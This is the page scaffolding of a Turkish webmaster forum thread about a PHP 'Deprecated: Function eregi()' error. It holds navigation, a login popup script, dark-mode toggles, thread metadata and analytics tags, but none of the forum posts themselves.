<strong>Çekiliş Aracı</strong> Gelişmiş özelliklere sahip çekiliş aracı. </a> </li> </ul> </li> </ul> <ul class="sub"> <li><a href="/forum">Forum</a></li> <li><a href="/kariyer">Kariyer</a></li> <li><a href="/blog">Blog</a></li> <li><a href="/dizin">Dizin</a></li> <li><a href="/nedir">Nedir?</a></li> </ul> </div> <div class="settings"> <a href="#" class="icon-times"></a> <div class="top"> <a href="#" class="icon-arrow-left"></a> <strong>Site Ayarları</strong> </div> <ul> <li> <div> <i class="icon-setting"></i> <span>Tema Seçeneği</span> <div> <div class="switch switch-grey"> <input type="checkbox" id="switchMobileThema" > <label for="switchMobileThema"><i class="icon-sun"></i><i class="icon-moon"></i></label> </div> </div> </div> </li> <li> <div> <i class="icon-sound"></i> <span>Site Sesleri</span> <div> <div class="switch switch-grey"> <input type="checkbox" id="switchMobileMute" class="toggle-user-permission" data-permission="permissionSound" disabled> <label for="switchMobileMute"><i class="icon-mute"></i><i class="icon-volume"></i></label> </div> </div> </div> </li> <li> <div> <i class="icon-bell"></i> <span>Bildirimler</span> <div> <div class="switch"> <input type="checkbox" id="switchMobileNotice" class="toggle-user-permission" data-permission="permissionNotification" disabled checked> <label for="switchMobileNotice"></label> </div> </div> </div> </li> <li> <div> <i class="icon-bubble-speak"></i> <span>Özel Mesaj Al</span> <div> <div class="switch"> <input type="checkbox" id="switchMobilePrivateMessage" class="toggle-user-permission" data-permission="permissionPm" disabled> <label for="switchMobilePrivateMessage"></label> </div> </div> </div> </li> </ul> </div> </div> <div class="overlay"></div> </div> <div class="pop" id="popLogin"> <div class="content"> <div> <div> <div class="content login"> <div> <div class="head3"> <h2>Üye Girişi Yap</h2> <strong>Kullanıcı bilgileriniz ile üye girişi yapabilirsiniz.</strong> <i class="icon-account"></i> <a href="#" data-pop-close="#popLogin" class="icon-times2"></a> </div> <div class="form"> <div class="form-group icon phone"> <i class="icon-phone-call"></i> <span>Telefon numaranız</span> <input type="text" name="email" class="activate-autocomplete" style="padding-left: 75px"> </div> <div class="form-group icon"> <i class="icon-key"></i> <span>Şifreniz</span> <input type="password" name="password" class="activate-autocomplete"> <b class="icon-eye"></b> </div> <div class="checkbox"> <input type="checkbox" name="rememberme" id="chckHistory" value="1"> <label for="chckHistory"><i class="icon-check"></i>Sonraki girişlerimde beni hatırla.</label> </div> <button class="btn btn-md login-btn"><span class="icon reverse">Üye Girişi Yap <i class="icon-arrow-right"></i></span></button> <button class="btn btn-extra-light-grey btn-sm forgot-password"><span>Şifremi Unuttum!</span></button> </div> </div> </div> </div> </div> </div> <div class="overlay"></div> </div> <div id="fixMessages"></div> <script src="/assets/js/cash.min.js"></script> <script src="/assets/js/build.js"></script> <script src="/assets/js/wma.js?3"></script> <script src="/assets/js/custom.js"></script> <script> $('input:not(.activate-autocomplete), form:not(.activate-autocomplete)').attr('autocomplete','new-password'); $("#footerMenu button").on("click",function(e){ if($("body").hasClass("openFooterMenu")){ wma.setCookie('mobileFoterMenu', 'off'); }else{ wma.setCookie('mobileFoterMenu', 'on'); } }); $("#switchThema").on("change",function(){ var darkMode; if($("#switchThema").prop("checked")){ $("body").addClass("dark"); wma.setCookie('darkMode', 'dark'); darkMode = 1; }else{ $("body").removeClass("dark"); wma.setCookie('darkMode', ''); darkMode = 0; } if (wm.user.userid) { wma.post('/profile/setDarkMode', {darkMode: darkMode}, function() {}); } }); $("#switchMobileThema").on("change",function(){ var darkMode; if($("#switchMobileThema").prop("checked")){ $("body").addClass("dark"); wma.setCookie('darkMode', 'dark'); darkMode = 1; }else{ $("body").removeClass("dark"); wma.setCookie('darkMode', ''); darkMode = 0; } if (wm.user.userid) { wma.post('/profile/setDarkMode', {darkMode: darkMode}, function() {}); } }); $('#popLogin .forgot-password').on('click', function(e) { e.preventDefault(); location.href = '/sifremi-unuttum'; }); $('#popLogin .login-btn').on('click', function(e) { e.preventDefault(); var loginData = { email: $('#popLogin input[name="email"]').val(), password: $('#popLogin input[name="password"]').val(), rememberme: $('#popLogin input[name="rememberme"]').is(':checked') }; wma.post('/auth/login', loginData, function(data) { if (data.status == 'success') { if (data.sms) { $('#popLogin [data-pop-close="#popLogin"]').trigger('click'); wma.form({ title: { title: "Doğrulama Kodunu Girin", subTitle: "Giriş için telefonunuza gönderilen kodu girin.", icon: "icon-sms", }, fields: { code: { label: 'Doğrulama Kodu', value: '', type: 'text' } }, callback: function(data) { var newData = loginData; newData.code = data.code; wma.post('/auth/login', newData, function(d) { if (d.status == 'success') { location.href = location.href.replace('#', ''); } else { wma.toast(d.title); } }); } }); wma.activeModal.find('.content').css('width', '440px'); wma.activeModal.find('button').text('Üye Girişi Yap'); wma.activeModal.find('form').on('submit', function(e) { e.preventDefault(); wma.activeModal.find('.mcuLoadingButton').trigger('click'); }); } else { localStorage.removeItem('fixedConversations'); if (data.redirect == '/yeniden-degerlendir') { location.href = data.redirect; } else { location.href = location.href.replace('#', ''); } } } else { wma.toast(data); } }); return; }); $('#popLogin input').on('keyup', function(e) { if (e.key == 'Enter') { $('#popLogin .login-btn').trigger('click'); } }); var notificationCount = localStorage.getItem('notificationCount') || 0; var conversationCount = localStorage.getItem('conversationCount') || 0; $('body').on('click', '.vn', function() { wma.post('/forum/setVisitorNotificationAsRead', {id: $(this).data('id')}, function(d) {}); }); $('body').on('click', '.start-popup-conversation', function(e) { e.preventDefault(); return wma.toast('Üyeye özel mesaj göndermek için giriş yapmalısınız.'); }); var visitorNotificationTriggered = localStorage.getItem('visitorNotificationTriggered') || 0; if (!visitorNotificationTriggered) { setTimeout(function() { document.querySelector('.visitor-notifications').style.display = 'block'; }, 3000); $(document).on('mouseup', function(e) { var container = $(".notice"); if (!container.is(e.target) && container.has(e.target).length === 0) { document.querySelector('.visitor-notifications').style.display = ''; } }); localStorage.setItem('visitorNotificationTriggered', 1); } </script> <script> var thread = { threadId: '119858', categoryId: '52', title: 'Deprecated: Function eregi() Hatası', slug: 'deprecated-function-eregi-hatasi', categorySslug: 'php', pollId: '', lastReplyAt: '2018-03-11 19:47:54', canReplyThread: false, }; var jsVersion = 5; $('.btn-share-thread').on('click', function(e) { e.preventDefault(); $('.post-card .share-post').trigger('click'); }); $('.post-content a').filter(function(){ return this.host !== location.host; }).attr('target','_blank'); </script> <script type="application/ld+json"> { "@context":"https://schema.org", "@type":"DiscussionForumPosting", "@id":"https://wmaraci.com/forum/php/deprecated-function-eregi-hatasi-119858.html", "headline":"Deprecated: Function eregi() Hatası", "datePublished":"2014-02-01 12:49:41", "dateModified":"2018-03-11 19:47:54", "articleSection":"PHP", "commentCount": 6, "author": { "@type": "Person", "name": "gokturkk" }, "mainEntityOfPage":{ "@type":"WebPage", "@id":"https://wmaraci.com/forum/php/deprecated-function-eregi-hatasi-119858.html" }, "interactionStatistic": { "@type": "InteractionCounter", "interactionType": "https://schema.org/CommentAction", "userInteractionCount": 6 } } </script> <script src="/assets/js/thread/thread.min.js?9"></script> <script src="/assets/js/thread/poll.js"></script> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-8647194-20"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-8647194-20'); </script> </body> </html>